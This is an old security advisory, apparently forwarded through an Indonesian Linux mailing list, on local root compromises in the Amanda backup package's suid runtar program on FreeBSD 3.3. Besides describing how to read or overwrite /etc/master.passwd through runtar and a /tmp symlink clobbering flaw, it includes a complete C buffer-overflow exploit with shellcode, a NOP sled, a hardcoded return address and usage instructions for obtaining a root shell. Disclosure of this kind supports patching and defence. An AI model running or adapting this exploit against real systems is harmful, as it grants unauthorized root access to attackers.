Amanda backup local root compromises
----------------------------------------------------------------------------
----


SUMMARY

The Amanda backup package comes with several UNIX distributions. This 
backup application suffers from several security vulnerabilities that 
allow local users to gain root privileges.

DETAILS

Vulnerable systems:
Amanda 2.3.0
Amanda 2.4.1
(Anyone running a suid version of runtar might be vulnerable as well)

Amanda's "runtar" program, suid root by default on FreeBSD 3.3, calls 
/usr/bin/tar and passes all arguments given to runtar to this program. Tar 
is thus run with root permissions and is vulnerable to all of the same 
attacks on suid programs that it would have if it were suid itself.


Vulnerability 1 - run tar as root

Since tar is run with root permissions, you are free to tar up any file 
you wish, including /etc/master.passwd. You may also untar any file you 
wish, to any location on the system, including /etc/master.passwd.  This 
does not require any exploit and may be done by supplying arguments to 
tar/runtar as if you were root.


Vulnerability 1.1 - tar contains a buffer overflow

Obtaining root via buffer overflow here is redundant, of course, but it 
illustrates the point that even if tar's capabilities weren't able to gain 
root privileges, the buffer overflow would still allow you to do so. An 
overflow exists in tar which will allow any user to execute commands as 
root.
Note that an overflow in tar isn't an immediate security flaw since it is 
never suid / sgid, but it goes to show that one should do security audits 
of all the programs one calls with user input. By passing a long string to 
runtar in the form "/usr/local/libexec/amanda/runtar cvf $400bytes:bah" we 
can execute our commands.  A FreeBSD exploit is attached below.


Vulnerability 2 - symlink problem

Not quite as serious, but a concern nonetheless.  When the amandad daemon 
runs, a bin-owned file called "amandad.debug" in /tmp. By creating a 
symlink from /tmp/amandad.debug to any other file, we will force amandad 
to clobber the contents with that of amandad's debug info.  Note that 
amandad is not suid/sgid, but it is often run with root perms at startup 
or via scripts.

The following exploit code can be used to test your system for the 
mentioned vulnerability:

/*
 * Amanda runtar exploit yields euid=0(root)
 * Actually overflows tar 1.11.2 (included in FreeBSD 3.3)
 * Tested on FreeBSD 3.3, modify shell/addr/dir for Amanda/tar on other
 * platforms
 *
 * Compile gcc -o amandax amandax.c
 * Run ./amandax <offset> <buflen>
 * keep buflen around 400, try positive and negative offsets
 *
 * Brock Tellier [EMAIL PROTECTED]
 */


#include <stdlib.h>
#include <stdio.h>

char fbsdshell[]= /* [EMAIL PROTECTED] */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


#define LEN 400
#define NOP 0x90
#define ALIGN 3
#define OFFSET 0
#define ADDR 0xbfbfdd90 /* fbsd 3.3 */

int main(int argc, char *argv[]) {

long int offset=OFFSET;

int i;
int buflen = LEN;
long int addr = ADDR;
char buf[LEN];

if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) buflen = atoi(argv[2]);
if (argc > 3) {
  fprintf(stderr, "Usage: %s <offset> <buflen>");
  exit(0);
}

fprintf(stderr, "Amanda runtar exploit for FreeBSD 3.3\n");
fprintf(stderr, "Brock Tellier [EMAIL PROTECTED]\n");
fprintf(stderr, "Using addr: 0x%x\t buflen: %d\t offset: %d\n",
addr+offset, buflen, offset);

memset(buf,NOP,buflen);
memcpy(buf+100,fbsdshell,strlen(fbsdshell));
for(i= 100 + strlen(fbsdshell)+ALIGN;i<buflen-4;i+=4)*(int
*)&buf[i]=addr+offset;

execl("/usr/local/libexec/amanda/runtar", "runtar","cvf", buf, ":bah",
NULL);

exit(0);
}


ADDITIONAL INFORMATION

This vulnerability and exploit code have been provided by:  
<mailto:[EMAIL PROTECTED]> Tellier, Brock.



======================================== 

-------
AFLHI 058009990407128029/089802---(102598//991024)


    milis ini didukung oleh :
 >> http://www.indolinux.com - dunia linux indonesia
 -------------------------------------------------------------------
 untuk berhenti kirim  email  ke  [EMAIL PROTECTED]
 untuk melihat peraturan kirim email  ke  [EMAIL PROTECTED]
 arsip berada di  http://www.mail-archive.com/[email protected]
 

Kirim email ke